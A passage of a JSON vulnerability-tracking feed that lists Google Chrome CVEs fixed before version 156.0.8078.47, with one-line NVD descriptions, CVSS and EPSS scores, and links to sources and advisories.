fixes.","publishedAt":"2026-10-20T22:18:54.770Z","updatedAt":"2026-10-21T19:24:50.000Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113037","asOf":"2026-10-21T19:24:50.000Z"},"epss":{"probability":0.00471,"percentile":0.40499,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113037&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113037","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113037","type":"primary","publishedAt":"2026-10-20T22:18:54.770Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113037&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113037, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113036","cveId":"CVE-2026-113036","aliases":[],"kind":"vulnerability","title":"Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in HTML in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.653Z","updatedAt":"2026-10-21T19:25:07.247Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113036","asOf":"2026-10-21T19:25:07.247Z"},"epss":{"probability":0.00378,"percentile":0.31466,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113036&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113036","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113036","type":"primary","publishedAt":"2026-10-20T22:18:54.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113036&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113036, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113034","cveId":"CVE-2026-113034","aliases":[],"kind":"vulnerability","title":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.410Z","updatedAt":"2026-10-21T19:26:08.837Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113034","asOf":"2026-10-21T19:26:08.837Z"},"epss":{"probability":0.00424,"percentile":0.36411,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113034&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113034","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113034","type":"primary","publishedAt":"2026-10-20T22:18:54.410Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113034&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113034, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113033","cveId":"CVE-2026-113033","aliases":[],"kind":"vulnerability","title":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Streaming in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.283Z","updatedAt":"2026-10-21T19:26:22.190Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113033","asOf":"2026-10-21T19:26:22.190Z"},"epss":{"probability":0.00443,"percentile":0.38244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113033&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113033","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113033","type":"primary","publishedAt":"2026-10-20T22:18:54.283Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113033&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113033, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113032","cveId":"CVE-2026-113032","aliases":[],"kind":"vulnerability","title":"Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.173Z","updatedAt":"2026-10-21T19:27:07.657Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113032","asOf":"2026-10-21T19:27:07.657Z"},"epss":{"probability":0.00427,"percentile":0.3665,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113032&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113032","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113032","type":"primary","publishedAt":"2026-10-20T22:18:54.173Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113032&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113032, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113031","cveId":"CVE-2026-113031","aliases":[],"kind":"vulnerability","title":"Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Media in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:54.060Z","updatedAt":"2026-10-21T19:27:34.893Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113031","asOf":"2026-10-21T19:27:34.893Z"},"epss":{"probability":0.00424,"percentile":0.3641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113031","type":"primary","publishedAt":"2026-10-20T22:18:54.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113030","cveId":"CVE-2026-113030","aliases":[],"kind":"vulnerability","title":"Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page.","summary":"Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper access control in V8 in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.950Z","updatedAt":"2026-10-22T15:38:52.350Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113030","asOf":"2026-10-22T15:38:52.350Z"},"epss":{"probability":0.00354,"percentile":0.28881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113030&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113030","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113030","type":"primary","publishedAt":"2026-10-20T22:18:53.950Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113030&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113030, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113029","cveId":"CVE-2026-113029","aliases":[],"kind":"vulnerability","title":"Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Improper access control in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.840Z","updatedAt":"2026-10-21T17:51:24.120Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113029","asOf":"2026-10-21T17:51:24.120Z"},"epss":{"probability":0.00389,"percentile":0.32705,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113029&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113029","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113029","type":"primary","publishedAt":"2026-10-20T22:18:53.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113029&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113029, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113028","cveId":"CVE-2026-113028","aliases":[],"kind":"vulnerability","title":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Media in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.730Z","updatedAt":"2026-10-21T17:52:04.093Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113028","asOf":"2026-10-21T17:52:04.093Z"},"epss":{"probability":0.00404,"percentile":0.3433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113028&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113028","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113028","type":"primary","publishedAt":"2026-10-20T22:18:53.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113028&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113028, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113027","cveId":"CVE-2026-113027","aliases":[],"kind":"vulnerability","title":"Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in WebFonts in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.613Z","updatedAt":"2026-10-21T17:52:16.087Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113027","asOf":"2026-10-21T17:52:16.087Z"},"epss":{"probability":0.0056,"percentile":0.46357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113027&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113027","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113027","type":"primary","publishedAt":"2026-10-20T22:18:53.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113027&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113027, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113025","cveId":"CVE-2026-113025","aliases":[],"kind":"vulnerability","title":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Input in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.383Z","updatedAt":"2026-10-21T17:52:31.200Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113025","asOf":"2026-10-21T17:52:31.200Z"},"epss":{"probability":0.00443,"percentile":0.38245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113025&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113025","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113025","type":"primary","publishedAt":"2026-10-20T22:18:53.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 